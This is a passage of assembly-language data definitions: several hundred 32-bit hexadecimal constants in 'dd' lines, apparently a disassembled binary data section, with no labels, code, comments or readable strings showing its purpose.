		dd 0F32C1048h, 4B3424Bh, 5EDA1F00h, 39E3F916h, 1BAD16D4h
		dd 41140046h, 2A1721C0h, 6F96360Ch, 380B1952h, 7702A75Fh
		dd 9B79D4D9h, 602AC860h, 3BB5A001h, 2890D0B4h, 0EC278850h
		dd 32E8001Eh, 38EE24E2h, 0F30D29E1h, 828033Dh, 1FF42AF8h
		dd 809102B2h, 0EB9C2B05h, 0A400330Dh, 0A6350FF5h, 0A3A14FAh
		dd 0BE0C3296h, 8F9F8588h, 82848CC2h, 0B4B266E2h, 0CDFC2212h
		dd 0E8F04C0h, 0B6A31D4Bh, 624000BEh, 856BC37Bh,	0E3E93890h
		dd 0A0686C8h, 88A3BE00h, 5FFE0945h, 0ACE700EEh,	52B6369Fh
		dd 8D004B9Ch, 9351A258h, 0F041F7h, 50927824h, 0A08C96D0h
		dd 2F39A600h, 0CCD74842h, 25A8077Bh, 801BEE11h,	30652474h
		dd 0CD162007h, 0AFA02EBEh, 0C7DEFh, 0EAC9724Ch,	0E326CE08h
		dd 14A95524h, 7F5E0583h, 0D2BFD19Bh, 0DB2CB840h, 3C1901Fh
		dd 1BFBAD75h, 56075ADAh, 3F12D6AAh, 86A92C00h, 0BA695836h
		dd 0DD03963Fh, 0E35A4D39h, 0EB3030C7h, 1B1C0F18h, 9007D4Eh
		dd 0BDB08F9Ah, 2FD40783h, 0B3ABB830h, 980E71BEh, 0A0664C05h
		dd 3D1BDEDFh, 2F4A0191h, 36519815h, 0D25EC81Ah,	0BE762100h
		dd 0E0E984F7h, 0D6820160h, 0F4D9F71h, 837EFC5Ah, 0C0022809h
		dd 9D240351h, 75C7981Ch, 7AD0C1B7h, 0EC292F4Bh,	3B02DDF6h
		dd 8FA1795Dh, 42B4E064h, 0DEE20E9Fh, 8920656Eh,	9EC40B0Ch
		dd 8817F604h, 4CC06733h, 7BD9BEC9h, 4F4B82Ch, 340F10A6h
		dd 0AB2090A5h, 43001DF9h, 47221FB4h, 392B08B8h,	93803550h
		dd 954B803Ch, 0AAB0843Eh, 598E440Ah, 5E1CF8A3h,	838A898Eh
		dd 98BE04CBh, 0D58C2194h, 0D16234D1h, 0D0489256h, 9008077h
		dd 78A4E866h, 1C9047A5h, 4EFAA398h, 70FEDBFh, 0DFD8C500h
		dd 2A005E61h, 21660DA9h, 4BD7A4h, 0E4EF825Fh, 7C961F05h
		dd 790911F8h, 80CF3DBCh, 571849ECh, 2300010h, 0DB376AE9h
		dd 0BD1C66A1h, 0C4C76511h, 0FF906CC5h, 4C416119h, 9E0BB82Ch
		dd 8D0FB8B1h, 23BF8C00h, 3EB07CBAh, 8AE2F500h, 0DF5C494Fh
		dd 0D78201A3h, 665A768Fh, 1704FC36h, 0C60ABA0Fh, 0B2EDE5B1h
		dd 4F95E8C0h, 0AFE4027Fh, 0DE2464C1h, 48E870C8h, 8F693D00h
		dd 43B6231Ah, 27F50E76h, 0A629424Ch, 0DB83D420h, 322CEB96h
		dd 5F8E0870h, 219A2C56h, 0A2E71E8Fh, 0BD23C098h, 889FC0A8h
		dd 7795DD0Fh, 0C6E86E57h, 98B07EFEh, 5BC380A8h,	7A9300DBh
		dd 0A9E5775Eh, 0FC9403E1h, 0CEEF3600h, 0A05D3B9h, 0F8C56DD8h
		dd 0F06701B4h, 3840C01Dh, 80BA0734h, 7A166972h,	70170089h
		dd 68BF8DFDh, 3EF65811h, 83C2E900h, 93ABF06Eh, 6A510E2Fh
		dd 67E51D9Dh, 0C8844CCh, 48D045C4h, 347AC1Eh, 8693C274h
		dd 79710283h, 7AFA1731h, 11BCD081h, 2439FDADh, 0A108222Ch
		dd 9EE0DC02h, 4C23C072h, 18FEA9D9h, 915EA605h, 0F8902C70h
		dd 7319FDh, 0CD692879h,	0D2413925h, 24E8C73Ch, 1C432C9Bh
		dd 3F81B6BFh, 603877B1h, 0CF193B0h, 1888F265h, 0D88C6159h
		dd 0A48B96B1h, 3740BCD1h, 77FB8279h, 0DD410089h, 0E217D627h
		dd 8B77C79Bh, 0F9BF0100h, 1B9C7DEAh, 6D58307Fh,	2EAF8311h
		dd 4476C817h, 0EB7FD05h, 4FA2D442h, 99084854h, 2A897747h
		dd 0F888F2Dh, 0F0E49423h, 9C42DFA0h, 9F00D9BCh,	0A5761492h
		dd 0D5C8D2h, 0CD4AA9EDh, 0D88DDE6h, 42F0A203h, 0E3A8B5EFh
		dd 8C80BDBEh, 5E0E42Ch,	44F227A7h, 0D1A04DB9h, 7EA038F2h
		dd 0CA121100h, 0D05F6910h, 0FF41241Dh, 200C0038h, 2A16BA29h
		dd 0B9C43300h, 8E7021AFh, 2DCC004Ch, 13C363E7h,	6E17EE30h
		dd 445E0826h, 0C442271Ch, 41C8103Ch, 0ACD4BB42h, 5440485h
		dd 0C31983E6h, 32A031ACh, 0B07CCDEBh, 87A4BE17h, 61B61C00h
		dd 39147ABh, 3CE4803Ah,	0F59815F8h, 1800D5D4h, 0EC4FFC5h
		dd 7DC8867h, 0EAFB7823h, 53FD60E0h, 0D300F10Bh,	0D4A47C28h
		dd 0E22B0Ch, 31E71C02h,	0ABD922E0h, 939E8400h, 9DAD3475h
		dd 61F8A09Bh, 0AE2B005Dh, 0B4314D67h, 34054C6Dh, 3C6C70B7h
		dd 4759B8C0h, 7EF73DCAh, 0A44832F8h, 3CE85008h,	0D6E6B65Ah
		dd 0F0BD6030h, 713A4D58h, 0EC2A49D4h, 0A78AA500h, 472B4560h
		dd 38A19C00h, 12EDD17Dh, 0B7970242h, 0DAD761C1h, 18044048h
		dd 0A5B3200Ah, 7307D832h, 0DA026423h, 759449E7h, 9E8E520h
		dd 0F506E0DEh, 79206C00h, 0D0178834h, 1902Ah, 0A5ED9977h
		dd 168D74E8h, 0EA3BF1h,	33EF4020h, 0FB7A4F96h, 0D8BBD61Fh
		dd 0C4D900FEh, 0D50AF8D1h
		dd 638900EEh, 87F90D2Dh, 0C713FD7Eh, 4440BD8Ch,	27C8354Bh
		dd 997B072Dh, 70AC9F8Bh, 4177F724h, 7C3B8C01h, 52F0B9E0h
		dd 0DBD2B080h, 404AC86Bh, 1C1608EAh, 50D0B03Fh,	0E76846h
		dd 0D187547h, 37FAA43Dh, 3E2AFD01h, 0DE0A6044h,	9D9160h
		dd 3640B7ADh, 0F99CD657h, 6845EF32h, 7DB56007h,	1BD40A55h
		dd 7C0C692h, 711EF9E6h,	7091A5EAh, 0F6008080h, 9EC011Dh
		dd 85B4CFh, 2A5866C6h, 92D0BE37h, 8E7D7714h, 0F91207C4h
		dd 0F4D01E41h, 107BF6Ah, 0DB5A32A1h, 0D07BFAD9h, 4009489Fh
		dd 203889B0h, 36ADA1E0h, 424D062Ch, 8195409h, 0BDBCCE0Ah
		dd 6B84D426h, 0C4A150C3h, 8D9434h, 0BC8F2EAEh, 0A4A06449h
		dd 539B9A13h, 8C0E5856h, 2E6BE8h, 459E4B64h, 46D90077h
		dd 0F3C0A693h, 180FC133h, 2F5C1473h, 72BC21FDh,	1C60FE39h
		dd 5A9C0782h, 0C92F3ADAh, 10EFE0B1h, 378E839h, 0DE4C697Fh
		dd 2AC03CF1h, 49094E8Ah, 85A0DC3Dh, 9606CADCh, 70997F67h
		dd 3E2202A8h, 6399F805h, 5791B868h, 0A27B8438h,	0CB40073h
		dd 0D0A3B3C8h, 780308E3h, 0F7AAF86Ah, 3AEAD809h, 9B1C075Eh
		dd 0D7795762h, 20FF3093h, 0BA7524F4h, 53749A0Ah, 800B06Ch
		dd 8EACE887h, 4AC84E7Ah, 60548C38h, 0F6AE94AFh,	0B49865EEh
		dd 42573504h, 608067A3h, 5388C7Ch, 46334079h, 25E0604Ch
		dd 98026BA4h, 3744B3ABh, 84E7C4h, 217F737Ch, 50E4DABh
		dd 871A5EDEh, 91A0747Eh, 9A32B47Bh, 0CC4150B8h,	8C151E87h
		dd 0A391B0D4h, 6D0319C4h, 0B11D6495h, 0B986B00Fh, 0A87CB14Bh
		dd 0C240510h, 0C1579325h, 644E597Ch, 4D752B1Ch,	80C1272Ah
		dd 24C0EB59h, 287034A3h, 0F2A60F0Eh, 55C190D4h,	8106129Dh
		dd 0A2896748h, 0E8DC033Eh, 0B0FA6Fh, 0E92F4AB9h, 9E7192B4h
		dd 1550F00Ah, 0E808B88Fh, 0EBF503FCh, 690003EDh, 24397E25h
		dd 0E5022Fh, 806C76EFh,	32111B88h, 0A578B10Eh, 4E447853h
		dd 8B7EF4h, 8C336C50h, 5BE39B47h, 572558h, 67D7CFBCh, 120BB6C0h
		dd 5B85C53h, 0D43F1DE4h, 1644E04Ch, 6807C600h, 0CE5D46C4h
		dd 0B99C16AFh, 0DC98C280h, 5A0E44D2h, 1E26C546h, 10008753h
		dd 0DCBA6CFAh, 548D0597h, 8017EC49h, 0E471EE09h, 6456B400h
		dd 0A4985BEDh, 12049A03h, 41C5F7D6h, 0A0170B00h, 6494CDFCh
		dd 25266CE8h, 0E1472805h, 0B9A89740h, 0E31E00BDh, 0AACB4248h
		dd 0B1001595h, 0F846CE8Ah, 1AE2F89h, 0F026774Ah, 0F039033Dh
		dd 0BA0EA7B5h, 60B155C4h, 988456CEh, 2330019Fh,	1CB0C2E1h
		dd 606BC1CBh, 7A16B360h, 0B041916Fh, 87F60ABBh,	2B8FDCh
		dd 2D622176h, 86C2378h,	46FC5301h, 0F13D0199h, 6FCBDCh
		dd 0A3A6ED89h, 0AB072D91h, 8A009E70h, 5337E473h, 5CF19011h
		dd 0EE00CCBFh, 0A90DB8D3h, 891E78D6h, 73809944h, 2DB51339h
		dd 0A67D00F0h, 0F5E28625h, 0D61F8D03h, 3B9E87D1h, 9063A284h
		dd 0BFE482C0h, 1F80F683h, 80BB79CAh, 8BC078D0h,	9C09AD5h
		dd 4A8CC17Fh, 7929009Bh, 8334C29Dh, 3C00CAA5h, 3ECCA78Dh
		dd 7AD1AC92h, 25A3172Eh, 37B800D5h, 17685A27h, 800BEE6h
		dd 0A85DFAB7h, 29E52h, 0A23FFB4Dh, 0E6CC5788h, 503E9AE4h
		dd 6BE7801Ch, 9129C7E1h, 5E072578h, 0BF703420h,	8A489EE3h
		dd 0A4C8386Ch, 9807820h, 0D7C7562h, 0A3240203h,	68DC193Fh
		dd 9488EC83h, 0FCDF61E9h, 5D034948h, 7EE7F564h,	5AACD8FEh
		dd 0B3693B9Eh, 3507A302h, 1CD06B48h, 0F17074B2h, 0D6E0881Fh
		dd 73B89640h, 178710C8h, 80DEE278h, 9D2A500Ch, 0F1442Dh
		dd 0CFA0490h, 0F9A10430h, 0A0D19E1Ah, 0FE2E246Ch, 14801832h
		dd 8502A61Dh, 43150706h, 707A6256h, 0ADDA693Fh,	0DD48F977h
		dd 8D460472h, 0C8802B12h, 4AFDA987h, 49A48798h,	29639400h
		dd 35002F1Ch, 67AC1EC2h, 0A41AFBCh, 0FFD4FC62h,	0C016A0h
		dd 57997F3Ch, 0F20037D7h, 4C10DE56h, 0E0D4E42h,	0E2156DE0h
		dd 0D9250ACEh, 0B6AC00E9h, 0BF8C9C0Eh, 7760109Ch, 4A7ECE2h
		dd 48AC0FD4h, 39A4873Dh, 9D1EC820h, 0A53E2864h,	79AE00F9h
		dd 0DD4F5D96h, 12BC9A19h, 4B8552h, 8A6EBA07h, 297835D2h
		dd 51441802h, 48155795h, 96D789F4h, 0AEEE9A9Ch,	0AAE56860h
		dd 4BE46F5Ch, 84380C43h, 0D6F8002Ch, 745A0694h,	48001596h
		dd 0DA85141Dh, 9832B2F4h, 0C1E24ADCh, 39CDFE30h, 7CA20C44h
		dd 2585C140h, 78813704h, 1A517F7h, 0A7FCE626h, 9A28EA23h
		dd 2F110034h, 933FCE1Ch, 0ED166DAFh, 8537B34h, 3CA09701h
		dd 0DFE83287h, 0DD3600C4h, 67416D43h, 0AE02212Eh, 2F9FE08Ch
		dd 0D788E333h, 80B2B752h, 0E9C870BCh, 978FE04h,	83F0F344h
		dd 0C30085h, 0FC3AEE9Ch, 0A103CC3Ch, 0C0758993h, 875A6h
		dd 35CB50A2h, 0E8FB44DCh, 0B168DB0Ah, 0E394A81Ch, 0F46B0FE4h
		dd 0FF3C81E6h, 0CBC5232Ch, 105C0C74h, 155B6FB4h, 7B88F72h
		dd 1C26336Dh, 9529C716h, 922148ACh, 3DB05809h, 44E06E8Ch
		dd 97004D9Ch, 46EE8A40h, 0E62EED02h, 8F4809F3h,	6C00B307h
		dd 7FC67250h, 9C09647Bh, 60B01238h, 3229DCh, 0D0D9B8C3h
		dd 3E077B95h, 8024E000h, 66E48827h, 29FC043Dh, 80BD3CCCh
		dd 7984BE88h, 0BCE61C18h, 14A110h, 0CE9486A5h, 0FDD4985Ah
		dd 6B9E0A3h, 8E2462F8h,	9E4900F2h, 1DF6CD25h, 72AB3276h
		dd 0A092DD31h, 4C09B0F0h, 80640FE4h, 0E0E16723h, 0C9C200AFh
		dd 93144448h, 71004FF7h, 4C607EC5h, 1D6A87CFh, 0C0FEAA56h
		dd 50FFA033h, 6E0E20AFh, 7E684B90h, 61A85380h, 0B412840h
		dd 18F5B6DDh, 0F29E2400h, 0D5007439h, 2604DACFh, 0A97C3Fh
		dd 62B3357h, 0FB217ACDh, 0E652CC00h, 0D40D8E83h, 1B150101h
		dd 0DCC2A1ACh, 0AF6DCC77h, 9DA77A03h, 8011529Eh, 32FD7C4h
		dd 0CD2307DEh, 0C0AC7466h, 949F1660h, 557CE0E7h, 58C044F6h
		dd 5D2F69E9h, 0A1F900FFh, 255FFAA8h, 72076653h,	0DBBEEBEFh
		dd 46F060CFh, 0E10CBAE1h, 14E4860h, 309B15CDh, 0C0DFD4D9h
		dd 78C1E51Ah, 9AC1D720h, 0A67FB60h, 94999F26h, 616500B8h
		dd 5973BA37h, 79C03D00h, 7CC34058h, 5D09C078h, 7AF3C643h
		dd 0A11C1094h, 0A84CBBC7h, 0AA4EC530h, 0E0CA58BDh, 0B04AF1Fh
		dd 60800361h, 0C094A916h, 0D15FA501h, 20E34125h, 1DDD6824h
		dd 1E9BEDA2h, 9C8F00A3h, 0B9753332h, 0DB2CE000h, 0C4536488h
		dd 586600C2h, 0F903786Ch, 0A212190Bh, 88C0AA97h, 9EBE3F13h
		dd 45ED0028h, 5B107467h, 0AC480503h, 9860B304h,	0BFF4F93h
		dd 0B23D6E7Bh, 95DD09C0h, 1AEF7600h, 7A63C9EDh,	21E60Ah
		dd 2F5E01A0h, 92509F3Ch, 4C467C24h, 6800AE90h, 29E73BF1h
		dd 8004289h, 4D8F731Fh,	7C194CDh, 1D45C4B7h, 5DCBD3B2h
		dd 0F0E40687h, 0ABFFA00h, 8A5CFCB9h, 0CDD81E2Dh, 7D2ACBA0h
		dd 0DDB6F200h, 0F00F70E1h, 0E09BD68Bh, 46C6242Eh, 3CB809h
		dd 57D0C04Dh, 0F83A1DC9h, 0E0D87801h, 26AF3F8Fh, 0E52CD8h
		dd 3EAAA9C6h, 0EBBE09B6h, 4BFF4309h, 7D4CA42Eh,	0E916F0F2h
		dd 32DC0067h, 0E6015B1h, 195413Bh, 648AEF6Fh, 28212563h
		dd 9B3E6880h, 3A45BAADh, 0F6A23100h, 0C5ACCC10h, 600C0015h
		dd 0FDDFF919h, 5700B5C2h, 0F8A23D31h, 3B8E619Bh, 2382B43Ch
		dd 0CF7713D2h, 2F26C057h, 0A16F1DEBh, 0F0A31E0Dh, 0A44BE83Ch
		dd 621AC504h, 0F4827BECh, 0D1D8E04Dh, 53A500BBh, 0D65EEB95h
		dd 0A9004B71h, 19C7479Ch, 0B6FD99h, 173DA193h, 0C94AA4D2h
		dd 56BA3A00h
		dd 5D924EA0h, 975500A7h, 34A2534Fh, 21F2E9D3h, 801949h
		dd 3AB6E1E5h, 1BCD9F3h,	0BFD8F940h, 81F8FC43h, 46C2DD09h
		dd 0C68FA73h, 3B342000h, 453C28CCh, 3E03CE7Bh, 3031D54Ah
		dd 84E1E384h, 28968080h, 88608814h, 0A100EC9Ah,	99E2E186h
		dd 0BB62A4h, 0ED98DA82h, 0A702A2A5h, 0D4244000h, 0EA2ED6CBh
		dd 0CDA91E5Ch, 3C9D40F2h, 21408733h, 2C140800h,	95C68F1Ah
		dd 5B5A0F9Fh, 0CA63E938h, 11C8E189h, 921F7F5Fh,	0AD803375h
		dd 0B8E3912Dh, 0CCB0D3h, 70139C79h, 76199083h, 408F8927h
		dd 0EF2CB3F8h, 2FA4FCh,	9FC1138Ch, 0A7EF6C80h, 0F3708800h
		dd 0F5718EABh, 789300ADh, 6FCD9FFCh, 4B0E790h, 65A16A00h
		dd 6D94249h, 994003A9h,	70AAFAA3h, 1ECD5CE0h, 66F43900h
		dd 2CE5D3B3h, 0AD5A0F8Ah, 68CC7B17h, 0EC07C9A1h, 0E0D2BF62h
		dd 6FA8C0ABh, 7704E6CCh, 80EB4E7Ch, 0EF116248h,	3FBBD00Ah
		dd 0DE40DCF8h, 17FE45C1h, 964CC8E3h, 0BA08A104h, 8148B5F1h
		dd 0FBB1261Ah, 5F4024A6h, 0AEFCB41Eh, 0C31C98ACh, 99BA02C0h
		dd 309F786h, 0DE7CCC33h, 0E9EAEED3h, 57A90C63h,	41EDEC56h
		dd 0F3825D01h, 0FC8B6640h, 0E18F69CCh, 98BB60h,	84DA737Dh
		dd 86DD93C8h, 0E197CC00h, 0EBA0D68Ch, 0A5DB3999h, 15D2D100h
		dd 13BE048Fh, 0A969DD04h, 0F08019FDh, 0B21FA1C8h, 0BC3D07A4h
		dd 203F5B75h, 34281522h, 0ADB4BF00h, 869BBB02h,	6A4704F8h
		dd 0A08F5226h, 20393AC0h, 859F0E01h, 314C4069h,	7CEA9A04h
		dd 0C77300DCh, 49F6A1E3h, 0C4039C88h, 0BABC7CBFh, 64AEB0C6h
		dd 5298033Fh, 0B5CA053h, 19C0BBD0h, 0DFF09C02h,	60B47E81h
		dd 0B04AF874h, 0E2A50F30h, 6C15C3Ah, 0EC1FCB2Ah, 0ACA11A4Bh
		dd 63D06034h, 452C4800h, 42BD0EE1h, 604C00F5h, 11FF0BF2h
		dd 507A91Eh, 0A3AE2519h, 7436530h, 24580A8Dh, 80B481B2h
		dd 5D22DB87h, 0DE39EAA2h, 0EC3409BDh, 0D8E823D1h, 30FF91BBh
		dd 0B44CC3E0h, 59A80030h, 9239CA12h, 6281A300h,	8925AD5Dh
		dd 0D22824DBh, 2C090F40h, 2012FFC3h, 0B01F890Eh, 0BC43E30Ch
		dd 0B800FD18h, 2F51A31Bh, 80FC0E11h, 83001938h,	85021F3Ch
		dd 9243E03h, 875E308Ch,	4083E504h, 0D9F6C1FAh, 4C8C003Eh
		dd 253A6E28h, 0BBC8F400h, 5C3EEB79h, 2EC30052h,	9770EC31h
		dd 0AF005A99h, 4F364A68h, 4CF7C4EBh, 4D00E00Dh,	0B40A30CCh
		dd 7D03EFFFh, 9DA1261Dh, 0A850F06Ch, 0F1730066h, 0A5EE85D8h
		dd 4F06B57h, 0BA8DFA00h, 6699F837h, 987F7Dh, 0DAB25A94h
		dd 0CF1FC608h, 122CF758h, 0C4811D0Fh, 8382EFAh,	8FD783A0h
		dd 770E4590h, 2527313Eh, 0B0000260h, 0D3C9B689h, 14595A63h
		dd 0BE00A28Ch, 822E0CB4h, 0AB00ECD6h, 0A11C3F80h, 1963DC4h
		dd 54096D50h, 0C1A84403h, 0DB28C4BCh, 8F8A38C0h, 1E7E2926h
		dd 5267C8E5h, 82BCC249h, 0B197347Eh, 0FD3E4C00h, 0EA0A52h
		dd 0ACB9F3D6h, 885BC8BFh, 674D7F71h, 18C002C4h,	63A8F0D4h
		dd 2C479068h, 0DB930710h, 10DA6B11h, 23581566h,	6C645100h
		dd 270DECF7h, 0AAC500E0h, 31C452FFh, 0B93E5B2Eh, 297080F2h
		dd 0DDB01421h, 85FE03F0h, 5D0E9D7Bh, 948937A3h,	0F28C476Dh
		dd 20D45B35h, 0FE87640h, 29DF00C8h, 0D9811DD4h,	1998F6ECh
		dd 0FA509560h, 2B2E8A4h, 0A0E9A7FDh, 0B400D33h,	5168BCDh
		dd 64008FB5h, 96134549h, 0CC35484Fh, 1C345500h,	2454589Fh
		dd 4160A701h, 66DFB22Fh, 8D30073Eh, 9538C3A0h, 0EF42B1F9h
		dd 0A5AB009Dh, 663FF8A3h, 3C640E58h, 0C0908712h, 0CB608EA1h
		dd 5C1793B0h, 29C4284Ah, 0F1001E43h, 0AD5CBA8Ch, 0E62C904Fh
		dd 122A9015h, 0F0B8D31Ah, 141B7168h, 0CA204EF8h, 8E31C00Eh
		dd 2E587920h, 0B8B8A5CEh, 0E7FA4C00h, 7A28F45Fh, 0BF0FC51Ch
		dd 77BC6400h, 5A3CE9h, 51F95C50h, 0CE12483Eh, 5EA58800h
		dd 0B42B1F3Fh, 0C6BC00A9h, 0E566444Fh, 4313A1ABh, 5407C903h
		dd 8CB24BF9h, 2C3A40FDh, 75651C0Ch, 94DF446Ch, 110A911h
		dd 0C6B4FBB3h, 4462D4D9h, 783C804h, 30B0B12Fh, 0B3588233h
		dd 0CA8E00AEh, 0EF97052Bh, 91875AF5h, 2946FC44h, 0C1A2704Ch
		dd 3172E002h, 6462D5h, 0F32629E0h, 162F0277h, 15357DF9h
		dd 4AA2C6Bh, 0F22FCC0h,	46BF920Fh, 6D10077Fh, 751881FFh
		dd 0DFFF9188h, 86299EF0h, 1FD83A84h, 78E00D28h,	0A37000F2h
		dd 9FED6B88h, 0A100049Ah, 3BF74D02h, 0FE5005h, 4B380A40h
		dd 0FBDAE554h, 9348163Bh, 0A400665Fh, 0A4DEEFC9h, 0AA90081h
		dd 0AA460355h, 0F900EAD7h, 93877380h, 0FB791Ch,	425E7D91h
		dd 64C7DE96h, 0B001A490h, 1AED51D1h, 3438342Eh,	703AF405h
		dd 0B0F4C56Fh, 709DAA8h, 5156AAh, 5C6AA40Ch, 0C050E2FFh
		dd 0C7F98610h, 1A48796Bh, 20B92714h, 258254B8h,	0EE16C0E5h
		dd 5CCFDD17h, 41458C00h, 0EB931FFBh, 0EA8701A6h, 0E7E8E6F0h
		dd 51F040FEh, 681367A9h, 3000FB7Ch, 0FA933C36h,	1E7EE6B2h
		dd 0BAF60F98h, 17352D76h, 0FCC29004h, 5E13A0FCh, 0AD4C0407h
		dd 80529286h, 457BFB84h, 6ABD0930h, 60908FACh, 29D13958h
		dd 2EF6C6E5h, 9E262571h, 0F3070C27h, 0D1A3CF20h, 409FF034h
		dd 0B9A8011Ah, 26B57DF0h, 4C403A74h, 823BE5EFh,	0DAEA022Bh
		dd 876E4CD4h, 0A0060CC1h, 0D809B631h, 8485E131h, 0AC729E4h
		dd 0A0224260h, 0AB5E15A3h, 0DD2DA00Dh, 117AF490h, 0E67E0490h
		dd 13442307h, 94F0C8EBh, 2ED078B1h, 72EF7Eh, 10E5EBBh
		dd 8730F8F7h, 49F1E6B8h, 8C5A486Fh, 0F07B8F84h,	3700233Ch
		dd 51BAC83Fh, 0FB76CD1h, 680FAB61h, 0DDDC00B7h,	9F47BEB4h
		dd 0C2EA9527h, 0FC5C8034h, 1602371Dh, 844B4330h, 3C58E180h
		dd 72C4C80h, 16324D94h,	0B0427A20h, 0FE3F0C33h,	6A1943CBh
		dd 0F9510600h, 0BD1D8841h, 5A7B1333h, 58E8B07Ch, 4B059C70h
		dd 0B19D3910h, 6A30C4B8h, 49300E29h, 72000BECh,	0A94A967Eh
		dd 30A829Eh, 3A1DCD5Ch,	7CE1DE5Bh, 993DC860h, 6A004CBEh
		dd 0E705847Eh, 0AA4900C9h, 0C0374C6Eh, 0A90F8CBBh, 802D4762h
		dd 0E4C7E502h, 657D009Ch, 11C3A81h, 0B700D61Dh,	767AC1A4h
		dd 3175E42h, 0B6FFE1F7h, 6390809Dh, 9494EB0Eh, 1957FE00h
		dd 12B487B2h, 40035366h, 0E9BC8154h, 0F2053314h, 2CBAF640h
		dd 830FE485h, 1BFE0608h, 0E27811h, 1CEDB8E0h, 88892F36h
		dd 4B11203h, 0B8A610Eh,	0D2C31120h, 0F2137080h,	34A05165h
		dd 0C4015755h, 6FD67916h, 0AB2022C9h, 38896591h, 944C72E4h
		dd 3608C61Bh, 0D1600F3Fh, 9D77B700h, 0DAB6CEFBh, 0CDCEDE5h
		dd 0EAD8006Ah, 0C5CDC390h, 75000D4Eh, 2DB0FBEEh, 5B304F1h
		dd 3A904541h, 2E84AB93h, 0D78010C5h, 3B2D35C7h,	671F042Fh
		dd 3850806Eh, 10FEC08Eh, 86D848h, 29193662h, 1A5ABC3h
		dd 0FA5076FCh, 0C8DA1D3Fh, 0A81FBA2Bh, 0E183BCCh, 382789C9h
		dd 2680A3C2h, 90775038h, 0E303FBC4h, 859CE197h,	59D101D0h
		dd 5A0DE7A8h, 0F36C64EEh, 49021630h, 0C2F8E7Eh,	4873C10Fh
		dd 6663DD20h, 0C4F5E429h, 7CB75447h, 9160E19h, 231E3FB6h
		dd 0F4D788C0h, 0F0F649BAh, 430812E4h, 0DF8E00E9h, 37E80B18h
		dd 0BF7FED00h, 2E11EE3Dh, 0F94C00F4h, 4090D650h, 9C184FB7h
		dd 0C6B1CF84h, 0C24E0166h, 87C8886Fh, 0B59CE8DAh, 6D659400h
		dd 0E2D04F9Fh, 3F5B07D1h, 10A57FF4h, 3691801Ah,	288C6106h
		dd 0C0B996CEh, 64F7D0E8h, 0D50394E9h, 0E5C98009h, 0F420002Ah
		dd 0E4CDAA12h, 4C1DF78Ch
		dd 34C62762h, 83361h, 0D436F498h, 0C730BDC9h, 2D1ED774h
		dd 0FB7F41C0h, 1FC3C63Eh, 0EC1DD4CBh, 31D2C8C3h, 0E1C7E2C2h
		dd 20D1A2D5h, 3B0010BDh, 350440FAh, 0C00D907h, 0BF70DFC3h
		dd 0BD89321h, 0C7D5F8C8h, 82B80200h, 0D43B30D2h, 0C43C1DD7h
		dd 0F40EC15Eh, 0A0309BD3h, 0F8CAF6C2h, 0D5E8C0h, 0BE2DCB74h
		dd 0C53613D0h, 6414D629h, 7CD70423h, 0DB8B4A0Fh, 592F8035h
		dd 50667h, 33CEE6C0h, 34254C0Fh, 204128CFh, 0B7AA8E8Bh
		dd 0E1E919E0h, 803F08E7h, 8BD56B21h, 0F2673C7h,	5BB999B7h
		dd 402F4B84h, 0C5E28C4Ah, 24DF07F8h, 7FC7025h, 421F5108h
		dd 94918099h, 224E41B0h, 4BD50E28h, 1F302A6Fh, 0F55D1E60h
		dd 61CA2830h, 0E9A430D5h, 7282D411h, 7862860h, 0CC65B3C1h
		dd 0A621DC08h, 16727B00h, 0A5618B66h, 0EF80BD3Ch, 0D8262BFCh
		dd 88A962EEh, 4BAED05Ah, 49B93060h, 2530ACCh, 7B0B23CFh
		dd 94826548h, 0A90004BAh, 0CEFAF378h, 85E0F648h, 0A867D827h
		dd 8ACF51CEh, 21CFA410h, 0AFAA958Bh, 0D66C000Eh, 9FD3588Bh
		dd 54EA027Eh, 384CF4FAh, 48108F20h, 1E320076h, 1894DA9h
		dd 4400B5C9h, 0FB459F4Fh, 0EE677FB9h, 0E6C215C4h, 0E8424461h
		dd 0E6303AE2h, 0DD390C90h, 81193660h, 978A041Fh, 4BBF2682h
		dd 4DE02F2Ah, 3D31AD6Bh, 81F65403h, 0F8638A0Ch,	0EC94BF27h
		dd 0E8152890h, 0D4A62994h, 80D691E4h, 6B2D7283h, 0D8448CDDh
		dd 727C12ADh, 7A602796h, 0A8AC40DCh, 2F03C205h,	0D674C426h
		dd 8677E035h, 7D4A218h,	20DCAAF8h, 0CED40123h, 9257CD2Eh
		dd 78A7021Fh, 0A0DF90h,	0CCCA29B8h, 0D3E6BB35h,	0B32AED03h
		dd 73330789h, 20D50CD0h, 0CA89B425h, 4F1B647Dh,	23202D03h
		dd 7812E3D8h, 656B4005h, 20CF6C22h, 387270F4h, 0B4280D05h
		dd 9601AA46h, 224A5650h, 2AD824h, 16418C32h, 353CB64Bh
		dd 5842A001h, 0D96C1B03h, 78913FEDh, 727F80E2h,	8C7D6B29h
		dd 0C0A9D144h, 15384398h, 91EB468h, 57053DD2h, 8C000D9Ah
		dd 61AF738Fh, 0E5071D75h, 30E154CBh, 14727E80h,	448C756Bh
		dd 7600F2DBh, 3B471772h, 4BBABE1h, 678A2956h, 6B208092h
		dd 0D651FCA6h, 0A3B801B0h, 14C2D49h, 7F291613h,	143018ACh
		dd 60189AB5h, 1DF42110h, 80003B29h, 0E89F9159h,	15E32B26h
		dd 0CC33401Eh, 0AC313004h, 0A61891D0h, 8E999EE5h, 0DF510300h
		dd 1EB6F7h, 26B310Bh, 8844EE7Bh, 4B29F062h, 0E170482Bh
		dd 8FC30098h, 83132B4h,	0CC29C985h, 14015899h, 28AC7D29h
		dd 1BF2000Eh, 44931E29h, 17E7B8Ch, 0ACA7C7DDh, 4096E369h
		dd 80CC3088h, 78342406h, 2B9C14Bh, 0CFE892EDh, 30609045h
		dd 8CCA84Eh, 0C21D3h, 0A649E899h, 4375CBD0h, 275CFF0Ah
		dd 0A4115401h, 7A291581h, 1C31C2ACh, 29A8F313h,	0AA06459Bh
		dd 0C649EF95h, 0A0480769h, 0E08A5B43h, 4B5C98A8h, 5D902D54h
		dd 0AAB97700h, 18CA0444h, 2AC301F5h, 0A5E171A4h, 3CA850ECh
		dd 0DD006901h, 8BDCDA55h, 371E91E5h, 8521E64Ch,	0D95088A4h
		dd 0A0641426h, 33B4674h, 9BAA5B03h, 19DE4Bh, 5E2657B5h
		dd 20BAE4D0h, 4F45F300h, 43A286CEh, 1ED81FF4h, 2244E84Bh
		dd 4C5915A6h, 721E7C90h, 0A500EF90h, 2C67FD49h,	69EB01BFh
		dd 14F14E2Fh, 4613DB37h, 8C13EA3Eh, 35320404h, 0D7A45D00h
